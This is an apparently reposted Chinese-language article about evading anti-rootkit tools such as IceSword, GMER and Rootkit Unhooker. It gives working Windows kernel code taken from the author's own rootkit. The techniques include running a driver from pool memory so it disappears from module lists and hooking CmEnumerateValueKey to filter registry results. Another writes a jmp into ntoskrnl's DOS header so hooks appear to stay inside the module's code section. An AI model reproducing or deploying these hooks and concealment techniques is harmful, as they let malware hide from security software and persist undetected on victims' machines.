注册
登录
| 关键词： nbsp 函数 hook 代码 检测 ULONG rootkit 地址 内存 eax |
本文描述了一些方法，可以绕过目前主流的现代Anti-rootkit工具，包括但不限于:Icesword 最新版、Gmer最新版、Rootkit unhooker 最新版、DarkSpy 最新版以及AVG Anti-rootkit最新版等等 目前的anti-rootkit工具中，对于内核模块主要采用如下几种扫描方式: 1.恢复ZwQuerySystemInformation的hook,然后利用功能号SystemModuleInformation进行枚举，例如Icesword。 2.遍历PsLoadModuleList,Driver/Device/Section Object链,或者TypeList链等(总之是找驱动相关对象)进行枚举，例如Rootkit Unhooker,Gmer等。 3.内核镜象暴力搜索,搜索MZ,PE等等标志结合进行判断内存里是否有PE镜象,如rootkit unhooker,rutkowska的modgreper等，通常只能显示为unknow image 4.函数引用,各种routine\hook等,先HOOK一些常用函数，然后当驱动去调用这些函数时，记下其地址，检测时使用,或者是根据各种routine(dispatch routine,IDT,Image Notfiy等)或各种hook(inline hook,iat/eat hook等等)，通常只能显示为unknow image或unknow xxx handler等 5.使用系统ImageLoad Notfiy,使用一个BOOT驱动，记录所有模块load的消息,检测时进行分析 如AVG Anti-rootkit等 先说绕过1,2,3,5的办法 很简单，使用诸如ZwSetSystemInformation的函数加载驱动，然后在DriverEntry中分配NonPagedPool的内存，然后将功能代码/函数copy到该内存中，然后进行必要的HOOK，最后返回STATUS_UNSUCCESSFULL. 这样驱动在PsLoadModuleList、各种对象链里就消失了，自然也就不存在于ZwQuerySystemInformation枚举的列表里。需要注意的是，copy到内存中的代码要尽量简单，基本不会生成需要重定位的代码了，但调用系统函数还是要另想办法。我的某个RK里是这样做的，例如A Function用来hook 系统函数B,其中需要调用系统函数C，那么分配一块内存，大小= len(A) + sizeof(ULONG) * 2 在内存的前两个DWORD放OrgB,以及C的地址，后面开始放函数代码，函数中使用call +5 对自身的位置进行定位，找到内存开始的位置，然后得到OrgB和C。当然也可以在COPY入内存前自己用绝对地址定位函数~不过不如这个方法灵活 相关代码: //hook call CmEnumerateValueKey void InstallCMRegHook() { PVOID _CmEnumerateKeyValueLoc ; _CmEnumerateKeyValueLoc = FindCmEnumerateValueKey(); //找到 call CmEnumerateValueKey HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey ; //获得NewCmEnumerateValueKey长度 HookCode3 = ExAllocatePoolWithTag(NonPagedPool , HookCodeLen + 4 , MEM_TAG_HOOKCODE3); //分配内存 *(ULONG*)HookCode3 = *(ULONG*)_CmEnumerateKeyValueLoc ; //原函数地址放入内存 RtlCopyMemory((PVOID)HookCode3 + sizeof(ULONG) , (PVOID)NewCmEnumerateValueKey ,HookCodeLen); //copy函数代码 DO_SPINLOCK(); *(ULONG*)_CmEnumerateValueKeyLoc = HookCode3 + sizeof(ULONG); //进行HOOK EXIT_SPINLOCK(); return ; } NTSTATUS NewCmEnumearateValueKey(IN PVOID KeyControlBlock, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, IN PVOID KeyValueInformation, IN ULONG KeyLength, IN PULONG ResultLength ) { //下面找到本函数开始地址，并获得保存在内存中的OrgCmEnumerateValueKey的地址 __asm { push eax call __ __: POP eax SUB eax,offset __ add eax,offset NewCmEnumearateValueKey ;获得函数开始地址 sub eax,4 mov eax,[eax] ;获得OrgCmEnumerateValueKey push ResultLength push KeyLength push KeyValueInformation push KeyValueInformationClass push Index push KeyControlBlock call eax mov stat, eax ;调用原始函数 pop eax } //.....其他处理 // //..... } void NopFunc8() { __asm { nop nop nop } return ; } //上面这个NopFunc用于NewCmEumerateValueKey函数长度定位 这样，基于ZwQuerySystemInformation,PsLoadModuleList,对象目录，Type链,ImageLoad,暴力PE搜索(因为我们压根就没有PE镜象,just one piece of code~)... 接下来看如何绕过4.中的检测方式 1.Hook常用函数:这个很简单了，恢复自己要用的函数~或者压根就不用那些函数，HOOK代码大部分都是数据过滤/处理部分，所以完全可以一个系统函数也不调... 2.各种routine检测，这个可以用多次跳转方式搞定，例如Dispatch hook,因为获取各种DRIVER的DISPATCH 原始地址没有比较通用的方法，所以检测dispatch是否被HOOK的方式通常都是检测其地址是否在其模块的Code Section中(类似的还有object hook,pxxxx hook等),使用此方法的例如rootkit unhooker, gmer等。只要我们先使用这样的方法，就可以绕过检测，让Anti-rootkit工具不知道是我们的模块HOOK了这里: 先将dispatch地址跳转到code section中不用的部分，5个字节就足够了，然后在这5个字节里使用jmp指令再跳到我们的模块里，这样Anti-rootkit工具检测时,就会发现dispatch routine仍然在该模块的code section中，通过这种方法也可以绕过对dispatch hook\object hook的检测。 inline hook/iat/eat hook也可以用类似的方法来躲过模块检测，不过无法避免HOOK被检测到。 即使Anti-rootkit工具使用更复杂的算法，对各个routine进行深度代码级扫描,我们也可以通过复杂逻辑/代码，将我们的最后跳转地址藏起来。 一个简单的双段跳绕过object hook检测的代码: object hook方法因为未被公开过，故细节略去，方便起见，没有写找code section的代码，直接将跳转代码写到了ntoskrnl的DOS Header中 同样来自于我的某RK: ULONG InsideHookCode(ULONG NewAddress , ULONG BaseCode ) { //该函数用于将hook代码转接到模块的DOS头中 //in :NewAddress: real hookcode to jump //in :ModuleName: kernel module base address to inject //out :NewJump Address ULONG TempCode = BaseCode ; TempCode = TempCode + sizeof(IMAGE_DOS_HEADER) ; //into DOS stub DO_SPINLOCK(); WPOFF(); *(BYTE*)TempCode = 0xe9 ; __asm { push eax push ecx mov ecx, TempCode mov eax, NewAddress sub eax, ecx sub eax, 5 mov dword ptr[ecx+1] , eax pop ecx pop eax } WPON(); EXIT_SPINLOCK(); //write jmp NewAddress into DOS stub return TempCode ; } |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
